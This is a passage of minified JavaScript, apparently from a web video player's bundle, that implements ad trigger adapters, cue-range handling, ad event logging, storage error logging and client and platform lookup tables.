JO&&u.category==="TRIGGER_CATEGORY_LAYOUT_EXIT_USER_SKIPPED"&&H.triggeringLayoutId===T&&x.push(u)}x.length&&kv(this.s3(),x)}else pG(this.Lf.get(),"supports_multi_step_on_desktop")?x==="ad-action-submit-survey"&&LF(this,T):x==="survey-submit"?LF(this,T):x==="survey-single-select-answer-button"&&LF(this,T)};
g.q.Gb=function(x){Gz.prototype.C.call(this,x)};
g.q.VX=function(x,T,t,u){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");if(!(T instanceof KV||T instanceof JO))throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in AdUxUpdateTriggerAdapter.");this.fz.set(T.triggerId,new xY(x,T,t,u))};
g.q.aF=function(x){this.fz.delete(x.triggerId)};
g.q.Fq=function(){};
g.q.q6=function(){};
g.q.TZ=function(){};g.P(a8,g.W);g.q=a8.prototype;
g.q.VX=function(x,T,t,u){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");if(!(T instanceof CV||T instanceof Qk||T instanceof pV||T instanceof OO||T instanceof fV||T instanceof wL||T instanceof W1||T instanceof FN||T instanceof v1||T instanceof hO||T instanceof B1||T instanceof k_))throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in AdsControlFlowEventTriggerAdapter");x=new xY(x,T,t,u);this.fz.set(T.triggerId,x);T instanceof
fV&&this.T.has(T.triggeringSlotId)&&kv(this.C(),[x]);T instanceof CV&&this.j.has(T.triggeringSlotId)&&kv(this.C(),[x]);T instanceof FN&&this.Z.has(T.triggeringLayoutId)&&kv(this.C(),[x])};
g.q.aF=function(x){this.fz.delete(x.triggerId)};
g.q.Ji=function(x){this.T.add(x.slotId);for(var T=[],t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next())u=u.value,u.trigger instanceof fV&&x.slotId===u.trigger.triggeringSlotId&&T.push(u);T.length>0&&kv(this.C(),T)};
g.q.BM=function(x){this.T.delete(x.slotId);for(var T=[],t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next()){u=u.value;var H=u.trigger;H instanceof wL&&H.triggeringSlotId===x.slotId&&T.push(u)}T.length>0&&kv(this.C(),T)};
g.q.RT=function(x){for(var T=[],t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next()){u=u.value;var H=u.trigger;H instanceof W1&&H.slotType===x.slotType&&H.C!==x.slotId&&T.push(u)}T.length>0&&kv(this.C(),T)};
g.q.Ri=function(x){this.j.add(x.slotId);for(var T=[],t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next())u=u.value,u.trigger instanceof CV&&x.slotId===u.trigger.triggeringSlotId&&T.push(u);T.length>0&&kv(this.C(),T)};
g.q.fF=function(x){this.j.delete(x.slotId);this.K.add(x.slotId);for(var T=[],t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next())if(u=u.value,u.trigger instanceof Qk)x.slotId===u.trigger.triggeringSlotId&&T.push(u);else if(u.trigger instanceof k_){var H=u.trigger;x.slotId===H.slotId&&this.Z.has(H.triggeringLayoutId)&&T.push(u)}T.length>0&&kv(this.C(),T)};
g.q.fK=function(x){for(var T=[],t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next())u=u.value,u.trigger instanceof pV&&x.slotId===u.trigger.triggeringSlotId&&T.push(u);T.length>0&&kv(this.C(),T)};
g.q.nK=function(x){for(var T=[],t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next())u=u.value,u.trigger instanceof OO&&x.slotId===u.trigger.triggeringSlotId&&T.push(u);T.length>0&&kv(this.C(),T)};
g.q.LK=function(x,T){this.D.add(T.layoutId)};
g.q.yl=function(x,T){this.D.delete(T.layoutId)};
g.q.bN=function(x,T){this.Z.add(T.layoutId);for(var t=[],u=g.S(this.fz.values()),H=u.next();!H.done;H=u.next())if(H=H.value,H.trigger instanceof FN)T.layoutId===H.trigger.triggeringLayoutId&&t.push(H);else if(H.trigger instanceof B1){var I=H.trigger;x.slotType===I.slotType&&T.layoutType===I.layoutType&&T.layoutId!==I.C&&t.push(H)}else H.trigger instanceof k_&&(I=H.trigger,T.layoutId===I.triggeringLayoutId&&this.K.has(I.slotId)&&t.push(H));t.length>0&&kv(this.C(),t)};
g.q.Ts=function(x,T,t){this.Z.delete(T.layoutId);x=[];for(var u=g.S(this.fz.values()),H=u.next();!H.done;H=u.next())if(H=H.value,H.trigger instanceof v1&&T.layoutId===H.trigger.triggeringLayoutId&&x.push(H),H.trigger instanceof hO){var I=H.trigger;T.layoutId===I.triggeringLayoutId&&I.C.includes(t)&&x.push(H)}x.length>0&&kv(this.C(),x)};
g.q.s0=function(){};
g.q.w_=function(){this.K.clear()};
g.q.Sf=function(){};g.P(gZ,g.W);gZ.prototype.VX=function(x,T,t,u){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");if(!(T instanceof rL))throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in CloseRequestedTriggerAdapter");this.fz.set(T.triggerId,new xY(x,T,t,u))};
gZ.prototype.aF=function(x){this.fz.delete(x.triggerId)};g.P(WA,g.W);WA.prototype.VX=function(x,T,t,u){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");if(!(T instanceof b_||T instanceof yk))throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in ContentPlaybackLifecycleTriggerAdapter");this.fz.set(T.triggerId,new xY(x,T,t,u))};
WA.prototype.aF=function(x){this.fz.delete(x.triggerId)};
WA.prototype.w_=function(x){for(var T=[],t=T.push,u=t.apply,H=[],I=g.S(this.fz.values()),E=I.next();!E.done;E=I.next())E=E.value,E.trigger instanceof b_&&E.trigger.RM===x&&H.push(E);u.call(t,T,g.U(H));t=T.push;u=t.apply;H=[];I=g.S(this.fz.values());for(E=I.next();!E.done;E=I.next())E=E.value,E.trigger instanceof yk&&E.trigger.C!==x&&H.push(E);u.call(t,T,g.U(H));T.length&&kv(this.C(),T)};
WA.prototype.Sf=function(x){for(var T=[],t=T.push,u=t.apply,H=[],I=g.S(this.fz.values()),E=I.next();!E.done;E=I.next()){E=E.value;var Z=E.trigger;Z instanceof yk&&Z.C===x&&H.push(E)}u.call(t,T,g.U(H));T.length&&kv(this.C(),T)};g.P(DW,g.W);g.q=DW.prototype;g.q.VX=function(x,T,t,u){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");var H="adtriggercuerange:"+T.triggerId;if(T instanceof aM)vtV(this,x,T,t,u,H,T.C.start,T.C.end,T.RM,T.visible);else if(T instanceof zf)vtV(this,x,T,t,u,H,0x7ffffffffffff,0x8000000000000,T.RM,T.visible);else throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in CueRangeTriggerAdapter");};
g.q.aF=function(x){var T=this.fz.get(x.triggerId);T&&this.Gs.get().removeCueRange(T.cueRangeId);this.fz.delete(x.triggerId)};
g.q.onCueRangeEnter=function(x){var T=Vtf(this,x);if(T&&(T=this.fz.get(T)))if(g.p(TB(this.IU.get()),32))this.C.add(T.cueRangeId);else{var t=T==null?void 0:T.Ab.trigger;if(t instanceof aM||t instanceof zf){if(YX(this.context.Lf.get())){var u=T.Ab.slot,H=T.Ab.layout,I={};this.context.kz.Kz("cre",(I.ca=T.Ab.category,I.tt=t.triggerType,I.st=u.slotType,I.lt=H==null?void 0:H.layoutType,I.cid=x,I))}kv(this.Z(),[T.Ab])}}};
g.q.onCueRangeExit=function(x){(x=Vtf(this,x))&&(x=this.fz.get(x))&&this.C.delete(x.cueRangeId)};
g.q.Vl=function(x){if(Zy(x,16)<0){x=g.S(this.C);for(var T=x.next();!T.done;T=x.next())this.onCueRangeEnter(T.value,!0);this.C.clear()}};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.bN=function(){};
g.q.Ts=function(){};
g.q.s0=function(){};
g.q.Gc=function(){};
g.q.onFullscreenToggled=function(){};
g.q.M0=function(){};
g.q.VY=function(){};
g.q.zC=function(){};
g.q.onVolumeChange=function(){};
g.q.AI=function(){};
g.q.JI=function(){};g.P(yy,g.W);g.q=yy.prototype;
g.q.VX=function(x,T,t,u){if(this.Z.has(T.triggerId)||this.j.has(T.triggerId))throw new w("Tried to re-register the trigger.");x=new xY(x,T,t,u);if(x.trigger instanceof nV)this.Z.set(x.trigger.triggerId,x);else if(x.trigger instanceof Vk)this.j.set(x.trigger.triggerId,x);else throw new w("Incorrect TriggerType: Tried to register trigger of type "+x.trigger.triggerType+" in LiveStreamBreakTransitionTriggerAdapter");this.Z.has(x.trigger.triggerId)&&x.slot.slotId===this.C&&kv(this.K(),[x])};
g.q.aF=function(x){this.Z.delete(x.triggerId);this.j.delete(x.triggerId)};
g.q.o0=function(x){x=x.slotId;if(this.C!==x){var T=[];this.C!=null&&T.push.apply(T,g.U(GXm(this.j,this.C)));x!=null&&T.push.apply(T,g.U(GXm(this.Z,x)));this.C=x;T.length&&kv(this.K(),T)}};
g.q.o2=function(){};
g.q.dW=function(){};g.P(NT,g.W);g.q=NT.prototype;g.q.VX=function(x,T,t,u){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");if(!(T instanceof Df))throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in OnLayoutSelfRequestedTriggerAdapter");this.fz.set(T.triggerId,new xY(x,T,t,u))};
g.q.aF=function(x){this.fz.delete(x.triggerId)};
g.q.bN=function(){};
g.q.Ts=function(){};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};g.P(Jb,g.W);g.q=Jb.prototype;g.q.s0=function(x,T){for(var t=[],u=g.S(this.fz.values()),H=u.next();!H.done;H=u.next()){H=H.value;var I=H.trigger;I.opportunityType===x&&(I.associatedSlotId&&I.associatedSlotId!==T||t.push(H))}t.length&&kv(this.C(),t)};
g.q.VX=function(x,T,t,u){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");if(!(T instanceof JPv))throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in OpportunityEventTriggerAdapter");this.fz.set(T.triggerId,new xY(x,T,t,u))};
g.q.aF=function(x){this.fz.delete(x.triggerId)};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.bN=function(){};
g.q.Ts=function(){};g.P(CF,g.W);g.q=CF.prototype;g.q.VX=function(x,T,t,u){x=new xY(x,T,t,u);if(T instanceof Gf||T instanceof gL||T instanceof LV||T instanceof NU||T instanceof NOq){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");this.fz.set(T.triggerId,x);t=t.slotId;x=this.j.has(t)?this.j.get(t):new Set;x.add(T);this.j.set(t,x)}else throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in PrefetchTriggerAdapter");};
g.q.aF=function(x){this.fz.delete(x.triggerId)};
g.q.Ji=function(x){var T=x.slotId;if(this.j.has(T)){x=0;var t=new Set;T=g.S(this.j.get(T));for(var u=T.next();!u.done;u=T.next())if(u=u.value,t.add(u.triggerId),u instanceof gL&&u.breakDurationMs){x=u.breakDurationMs;break}Qy(this,"TRIGGER_TYPE_NEW_SLOT_SCHEDULED_WITH_BREAK_DURATION",x,t)}};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.bN=function(){};
g.q.Ts=function(){};
g.q.s0=function(){};
g.q.mW=function(x){if(this.C){this.Z&&this.Z.stop();this.K&&g.Kt(this.K);x=x.U0*1E3+1E3;for(var T=0,t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next())u=u.value.trigger,u instanceof Gf&&u.breakDurationMs<=x&&u.breakDurationMs>T&&(T=u.breakDurationMs);x=T;if(x>0)return Qy(this,"TRIGGER_TYPE_LIVE_STREAM_BREAK_SCHEDULED_DURATION_MATCHED",x,new Set,!0),Qy(this,"TRIGGER_TYPE_LIVE_STREAM_BREAK_SCHEDULED_DURATION_NOT_MATCHED",x,new Set,!1),!0}return!1};
g.q.It=function(){};
g.q.w_=function(x){this.C&&this.C.contentCpn!==x?(E3("Fetch instructions carried over from previous content video",void 0,void 0,{contentCpn:x,fetchInstructionsCpn:this.C.contentCpn}),pF(this)):ntq(this)};
g.q.Sf=function(x){this.C&&this.C.contentCpn!==x&&E3("Expected content video of the current fetch instructions to end",void 0,void 0,{contentCpn:x,fetchInstructionsCpn:this.C.contentCpn},!0);pF(this)};
g.q.Rt=function(x){var T=this;if(this.C)E3("Unexpected multiple fetch instructions for the current content");else{this.C=x;x=gtJ(x);this.Z=new g.wX(function(){ntq(T)},x?x:6E5);
this.Z.start();this.K=new g.wX(function(){T.C&&(T.Z&&(T.Z.stop(),T.Z.start()),LbH(T,"TRIGGER_TYPE_CUE_BREAK_IDENTIFIED"))},a4J(this.C));
x=this.IU.get().getCurrentTimeSec(1,!1);for(var t=g.S(this.CF.get().SB),u=t.next();!u.done;u=t.next())u=u.value,sO(this.RU.get(),"nocache","ct."+Date.now()+";cmt."+x+";d."+u.U0.toFixed(3)+";tw."+(u.startSecs-x)+";cid."+u.identifier+";")}};
g.q.oU=function(){g.W.prototype.oU.call(this);pF(this)};g.P(O8,g.W);g.q=O8.prototype;g.q.VX=function(x,T,t,u){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");if(!(T instanceof XN))throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in TimeRelativeToLayoutEnterTriggerAdapter");this.fz.set(T.triggerId,new xY(x,T,t,u));x=this.C.has(T.triggeringLayoutId)?this.C.get(T.triggeringLayoutId):new Set;x.add(T);this.C.set(T.triggeringLayoutId,x)};
g.q.aF=function(x){this.fz.delete(x.triggerId);if(!(x instanceof XN))throw new w("Incorrect TriggerType: Tried to unregister trigger of type "+x.triggerType+" in TimeRelativeToLayoutEnterTriggerAdapter");var T=this.Z.get(x.triggerId);T&&(T.dispose(),this.Z.delete(x.triggerId));if(T=this.C.get(x.triggeringLayoutId))T.delete(x),T.size===0&&this.C.delete(x.triggeringLayoutId)};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.RT=function(){};
g.q.Ri=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.bN=function(x,T){var t=this;if(this.C.has(T.layoutId)){x=this.C.get(T.layoutId);x=g.S(x);var u=x.next();for(T={};!u.done;T={mK:void 0},u=x.next())T.mK=u.value,u=new g.wX(function(H){return function(){var I=t.fz.get(H.mK.triggerId);kv(t.j(),[I])}}(T),T.mK.durationMs),u.start(),this.Z.set(T.mK.triggerId,u)}};
g.q.Ts=function(){};g.P(fF,g.W);fF.prototype.VX=function(x,T,t,u){if(this.fz.has(T.triggerId))throw new w("Tried to register duplicate trigger for slot.");if(!(T instanceof Y_))throw new w("Incorrect TriggerType: Tried to register trigger of type "+T.triggerType+" in VideoTransitionTriggerAdapter.");this.fz.set(T.triggerId,new xY(x,T,t,u))};
fF.prototype.aF=function(x){this.fz.delete(x.triggerId)};xI.prototype.hK=function(x){return x.kind==="AD_PLACEMENT_KIND_START"};g.P(tX,g.W);g.q=tX.prototype;g.q.logEvent=function(x){this.gG(x)};
g.q.jd=function(x,T,t){this.gG(x,void 0,void 0,void 0,T,void 0,void 0,void 0,T.adSlotLoggingData,void 0,void 0,t)};
g.q.kL=function(x,T,t,u){this.gG(x,void 0,void 0,void 0,T,t?t:void 0,void 0,void 0,T.adSlotLoggingData,t?t.adLayoutLoggingData:void 0,void 0,u)};
g.q.Vi=function(x,T,t,u){pG(this.Lf.get(),"h5_enable_pacf_debug_logs")&&console.log("[PACF]: "+x,"trigger:",t,"slot:",T,"layout:",u);En(this.C.get())&&this.gG(x,void 0,void 0,void 0,T,u?u:void 0,void 0,t,T.adSlotLoggingData,u?u.adLayoutLoggingData:void 0)};
g.q.NA=function(x,T,t,u,H){this.gG(x,T,t,u,void 0,void 0,void 0,void 0,void 0,void 0,void 0,H)};
g.q.u3=function(x,T,t,u){this.gG("ADS_CLIENT_EVENT_TYPE_ERROR",void 0,void 0,void 0,t,u,void 0,void 0,t.adSlotLoggingData,u?u.adLayoutLoggingData:void 0,{errorType:x,errorMessage:T})};
g.q.gG=function(x,T,t,u,H,I,E,Z,e,l,m,d){var M=this;d=d===void 0?0:d;pG(this.Lf.get(),"h5_enable_pacf_debug_logs")&&console.log("[PACF]: "+x,"slot:",H,"layout:",I,"ping:",E,"Opportunity:",{opportunityType:T,associatedSlotId:t,fIf:u,c6v:Z,adSlotLoggingData:e,adLayoutLoggingData:l});try{var A=function(){if(!M.Lf.get().U.Y().B("html5_disable_client_tmp_logs")&&x!=="ADS_CLIENT_EVENT_TYPE_UNSPECIFIED"){x||E3("Empty PACF event type",H,I);var R=En(M.C.get()),Y={eventType:x,eventOrder:++M.eventCount},b={};
H&&(b.slotData=IT(R,H));I&&(b.layoutData=Pw3(R,I));E&&(b.pingData={pingDispatchStatus:"ADS_CLIENT_PING_DISPATCH_STATUS_SUCCESS",serializedAdPingMetadata:E.C.serializedAdPingMetadata,pingIndex:E.index});Z&&(b.triggerData=iS(Z.trigger,Z.category));T&&(b.opportunityData=SCm(R,T,t,u));R={organicPlaybackContext:{contentCpn:AH(M.Bv.get(),1).clientPlaybackNonce}};R.organicPlaybackContext.isLivePlayback=AH(M.Bv.get(),1).B9;var z;R.organicPlaybackContext.isMdxPlayback=(z=AH(M.Bv.get(),1))==null?void 0:z.isMdxPlayback;
var F;if((F=AH(M.Bv.get(),1))==null?0:F.daiEnabled)R.organicPlaybackContext.isDaiContent=!0;var V;if(z=(V=AH(M.Bv.get(),2))==null?void 0:V.clientPlaybackNonce)R.adVideoPlaybackContext={adVideoCpn:z};R&&(b.externalContext=R);Y.adClientData=b;e&&(Y.serializedSlotAdServingData=e.serializedSlotAdServingDataEntry);l&&(Y.serializedAdServingData=l.serializedAdServingDataEntry);m&&(Y.errorInfo=m);g.io("adsClientStateChange",{adsClientEvent:Y})}};
d&&d>0?g.wx(g.XM(),function(){return A()},d):A()}catch(R){pG(this.Lf.get(),"html5_log_pacf_logging_errors")&&g.wx(g.XM(),function(){E3(R instanceof Error?R:String(R),H,I,{pacf_message:"exception during pacf logging"})})}};var Bn9=new Set("ADS_CLIENT_EVENT_TYPE_LAYOUT_ENTERED ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_NORMALLY ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_SKIP ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_ABANDON ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_MUTE ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_USER_INPUT_SUBMITTED ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_ABORTED".split(" "));g.P(sk,tX);g.q=sk.prototype;
g.q.jd=function(x,T,t){tX.prototype.jd.call(this,x,T,t);YX(this.Lf.get())&&(t={},this.context.kz.Kz("pacf",(t.et=x,t.st=T.slotType,t.si=T.slotId,t)))};
g.q.kL=function(x,T,t,u){var H=Bn9.has(x);tX.prototype.kL.call(this,x,T,t,u);YX(this.Lf.get(),H)&&(u={},this.context.kz.Kz("pacf",(u.et=x,u.st=T.slotType,u.si=T.slotId,u.lt=t==null?void 0:t.layoutType,u.li=t==null?void 0:t.layoutId,u.p_ac=t==null?void 0:t.layoutId,u)))};
g.q.NA=function(x,T,t,u,H){tX.prototype.NA.call(this,x,T,t,u,H);YX(this.Lf.get())&&(t={},this.context.kz.Kz("pacf",(t.et=x,t.ot=T,t.ss=u==null?void 0:u.length,t)))};
g.q.Vi=function(x,T,t,u){tX.prototype.Vi.call(this,x,T,t,u);if(YX(this.Lf.get())){var H={};this.context.kz.Kz("pacf",(H.et=x,H.tt=t.trigger.triggerType,H.tc=t.category,H.st=T.slotType,H.si=T.slotId,H.lt=u==null?void 0:u.layoutType,H.li=u==null?void 0:u.layoutId,H.p_ac=u==null?void 0:u.layoutId,H))}};
g.q.u3=function(x,T,t,u){tX.prototype.u3.call(this,x,T,t,u);if(YX(this.Lf.get(),!0)){var H={};this.context.kz.Kz("perror",(H.ert=x,H.erm=T,H.st=t.slotType,H.si=t.slotId,H.lt=u==null?void 0:u.layoutType,H.li=u==null?void 0:u.layoutId,H.p_ac=u==null?void 0:u.layoutId,H))}};
g.q.gG=function(x,T,t,u,H,I,E,Z,e,l,m){if(g.bS(this.Lf.get().U.Y())){var d=this.Lf.get();d=g.Z9(d.U.Y().experiments,"H5_async_logging_delay_ms")}else d=void 0;tX.prototype.gG.call(this,x,T,t,u,H,I,E,Z,e,l,m,d)};uk.prototype.clear=function(){this.C.clear()};ik.prototype.resolve=function(x){$I(this,x)};
ik.prototype.reject=function(x){HZ(this,x)};
ik.prototype.state=function(){return this.currentState==="done"?{state:"done",result:this.result}:this.currentState==="fail"?{state:"fail",error:this.error}:{state:"wait"}};
ik.prototype.wait=function(){var x=this;return function t(){return Z43(t,function(u){if(u.C==1)return g.Sm(u,2),g.v(u,{zd:x},4);if(u.C!=2)return u.return(u.Z);g.UH(u);return g.b3(u,0)})}()};
var Zi3=pA(function(x){return Ia(x)?x instanceof ik:!1});Object.freeze({VcZ:function(x){var T=tdJ(x);return mH(ov4(T,function(t){return T[t].currentState==="fail"}),function(t){return Number.isNaN(t)?T.map(function(u){return u.state().result}):T[t]})},
Ys7:function(x){var T=tdJ(x);return mH(ov4(T),function(){return T.map(function(t){return t.state()})})}});var AX=window.ovf||"en";cZ.prototype.u7=function(x){this.client=x};
cZ.prototype.C=function(){this.clear();this.csn=g.Yx()};
cZ.prototype.clear=function(){this.j.clear();this.Z.clear();this.K.clear();this.csn=null};Uk.prototype.u7=function(x){g.Kr(YI().u7).bind(YI())(x)};
Uk.prototype.clear=function(){g.Kr(YI().clear).bind(YI())()};g.q=bk.prototype;g.q.u7=function(x){this.client=x};
g.q.wr=function(x,T){var t=this;T=T===void 0?{}:T;g.Kr(function(){var u,H,I,E=((u=g.N(x==null?void 0:x.commandMetadata,g.RW))==null?void 0:u.rootVe)||((H=g.N(x==null?void 0:x.commandMetadata,tQM))==null?void 0:(I=H.screenVisualElement)==null?void 0:I.uiType);if(E){u=g.N(x==null?void 0:x.commandMetadata,Syy);if(u==null?0:u.parentTrackingParams){var Z=g.PW(u.parentTrackingParams);if(u.parentCsn)var e=u.parentCsn}else T.clickedVisualElement?Z=T.clickedVisualElement:x.clickTrackingParams&&(Z=g.PW(x.clickTrackingParams));
a:{u=g.N(x,g.KB);H=g.N(x,lwE);if(u){if(H=ucV(u,"VIDEO")){u={token:H,videoId:u.videoId};break a}}else if(H&&(u=ucV(H,"PLAYLIST"))){u={token:u,playlistId:H.playlistId};break a}u=void 0}T=Object.assign({},{cttAuthInfo:u,parentCsn:e},T);if(g.R6("expectation_logging")){var l;T.loggingExpectations=((l=g.N(x==null?void 0:x.commandMetadata,tQM))==null?void 0:l.loggingExpectations)||void 0}z4(t,E,Z,T)}else g.Vh(new g.CS("Error: Trying to create a new screen without a rootVeType",x))})()};
g.q.clickCommand=function(x,T,t){x=x.clickTrackingParams;t=t===void 0?0:t;x?(t=g.Yx(t===void 0?0:t))?(iM3(this.client,t,g.PW(x),T),T=!0):T=!1:T=!1;return T};
g.q.stateChanged=function(x,T,t){this.visualElementStateChanged(g.PW(x),T,t===void 0?0:t)};
g.q.visualElementStateChanged=function(x,T,t){t=t===void 0?0:t;t===0&&this.Z.has(t)?this.J.push([x,T]):EvV(this,x,T,t)};vZ.prototype.fetch=function(x,T,t){var u=this,H=jT3(x,T,t);return new Promise(function(I,E){function Z(){if(t==null?0:t.oY)try{var l=u.handleResponse(x,H.status,H.response,t);I(l)}catch(m){E(m)}else I(u.handleResponse(x,H.status,H.response,t))}
H.onerror=Z;H.onload=Z;var e;H.send((e=T.body)!=null?e:null)})};
vZ.prototype.handleResponse=function(x,T,t,u){t=t.replace(")]}'","");try{var H=JSON.parse(t)}catch(I){g.Vh(new g.CS("JSON parsing failed after XHR fetch",x,T,t));if((u==null?0:u.oY)&&t)throw new g.Nk(1,"JSON parsing failed after XHR fetch");H={}}T!==200&&(g.Vh(new g.CS("XHR API fetch failed",x,T,t)),H=Object.assign({},H,{errorMetadata:{status:T}}));return H};Vu.getInstance=function(){var x=g.yJ("ytglobal.storage_");x||(x=new Vu,g.DC("ytglobal.storage_",x));return x};
Vu.prototype.estimate=function(){var x,T,t;return g.G(function(u){x=navigator;return((T=x.storage)==null?0:T.estimate)?u.return(x.storage.estimate()):((t=x.webkitTemporaryStorage)==null?0:t.queryUsageAndQuota)?u.return(em3()):u.return()})};
g.DC("ytglobal.storageClass_",Vu);$$.prototype.o4=function(x){this.handleError(x)};
$$.prototype.logEvent=function(x,T){switch(x){case "IDB_DATA_CORRUPTED":g.R6("idb_data_corrupted_killswitch")||this.C("idbDataCorrupted",T);break;case "IDB_UNEXPECTEDLY_CLOSED":this.C("idbUnexpectedlyClosed",T);break;case "IS_SUPPORTED_COMPLETED":g.R6("idb_is_supported_completed_killswitch")||this.C("idbIsSupportedCompleted",T);break;case "QUOTA_EXCEEDED":mN5(this,T);break;case "TRANSACTION_ENDED":this.j&&Math.random()<=.1&&this.C("idbTransactionEnded",T);break;case "TRANSACTION_UNEXPECTEDLY_ABORTED":x=
Object.assign({},T,{hasWindowUnloaded:this.Z}),this.C("idbTransactionAborted",x)}};var Cp={},KY3=g.X3("yt-player-local-media",{wG:(Cp.index={Fs:2},Cp.media={Fs:2},Cp.captions={Fs:5},Cp),shared:!1,upgrade:function(x,T){T(2)&&(g.zG(x,"index"),g.zG(x,"media"));T(5)&&g.zG(x,"captions");T(6)&&(k$(x,"metadata"),k$(x,"playerdata"))},
version:5});var WSP={cupcake:1.5,donut:1.6,eclair:2,froyo:2.2,gingerbread:2.3,honeycomb:3,"ice cream sandwich":4,jellybean:4.1,kitkat:4.4,lollipop:5.1,marshmallow:6,nougat:7.1},QS;a:{var pp=g.FF();pp=pp.toLowerCase();if(g.Uh(pp,"android")){var D50=pp.match(/android\s*(\d+(\.\d+)?)[^;|)]*[;)]/);if(D50){var yCF=parseFloat(D50[1]);if(yCF<100){QS=yCF;break a}}var NnM=pp.match("("+Object.keys(WSP).join("|")+")");QS=NnM?WSP[NnM[0]]:0}else QS=void 0}var v_=QS,hF=v_>=0;var lOv=window;var dND=ZH(function(){var x,T;return(T=(x=window).matchMedia)==null?void 0:T.call(x,"(prefers-reduced-motion: reduce)").matches});var LT;g.G4=new r3;LT=0;var nT={Uq:function(x,T){var t=x[0];x[0]=x[T%x.length];x[T%x.length]=t},
ZA:function(x,T){x.splice(0,T)},
PV:function(x){x.reverse()}};var z5q=new Set(["embed_config","endscreen_ad_tracking","home_group_info","ic_track"]);var KY=UND()?!0:typeof window.fetch==="function"&&window.ReadableStream&&window.AbortController&&!g.Qb?!0:!1;var fzV={hW9:"adunit",W0Z:"detailpage",Kbm:"editpage",oXW:"embedded",wmy:"leanback",pwU:"previewpage",aNv:"profilepage",ZR:"unplugged",Jyj:"playlistoverview",NoU:"sponsorshipsoffer",rrv:"shortspage",J$Y:"handlesclaiming",ZBU:"immersivelivepage",t7u:"creatormusic",jJv:"immersivelivepreviewpage",OdZ:"admintoolyurt",hsm:"shortsaudiopivot",AI7:"consumption"};var O_,JCF,Fb;O_={};g.CT=(O_.STOP_EVENT_PROPAGATION="html5-stop-propagation",O_.IV_DRAWER_ENABLED="ytp-iv-drawer-enabled",O_.IV_DRAWER_OPEN="ytp-iv-drawer-open",O_.MAIN_VIDEO="html5-main-video",O_.VIDEO_CONTAINER="html5-video-container",O_.VIDEO_CONTAINER_TRANSITIONING="html5-video-container-transitioning",O_.HOUSE_BRAND="house-brand",O_);JCF={};Fb=(JCF.RIGHT_CONTROLS_LEFT="ytp-right-controls-left",JCF.RIGHT_CONTROLS_RIGHT="ytp-right-controls-right",JCF);var vvf={allowed:"AUTOPLAY_BROWSER_POLICY_ALLOWED","allowed-muted":"AUTOPLAY_BROWSER_POLICY_ALLOWED_MUTED",disallowed:"AUTOPLAY_BROWSER_POLICY_DISALLOWED"};var nmD={ANDROID:3,ANDROID_KIDS:18,ANDROID_MUSIC:21,ANDROID_UNPLUGGED:29,WEB:1,WEB_REMIX:67,WEB_UNPLUGGED:41,IOS:5,IOS_KIDS:19,IOS_MUSIC:26,IOS_UNPLUGGED:33},ak5={android:"ANDROID","android.k":"ANDROID_KIDS","android.m":"ANDROID_MUSIC","android.up":"ANDROID_UNPLUGGED",youtube:"WEB","youtube.m":"WEB_REMIX","youtube.up":"WEB_UNPLUGGED",ytios:"IOS","ytios.k":"IOS_KIDS","ytios.m":"IOS_MUSIC","ytios.up":"IOS_UNPLUGGED"},UdV={"mdx-pair":1,"mdx-dial":2,"mdx-cast":3,"mdx-voice":4,"mdx-inappdial":5};var dJm={DISABLED:1,ENABLED:2,PAUSED:3,1:"DISABLED",2:"ENABLED",3:"PAUSED"};g.tv.prototype.getLanguageInfo=function(){return this.S8};
g.tv.prototype.getXtags=function(){if(!this.xtags){var x=this.id.split(";");x.length>1&&(this.xtags=x[1])}return this.xtags};
g.tv.prototype.toString=function(){return this.S8.name};
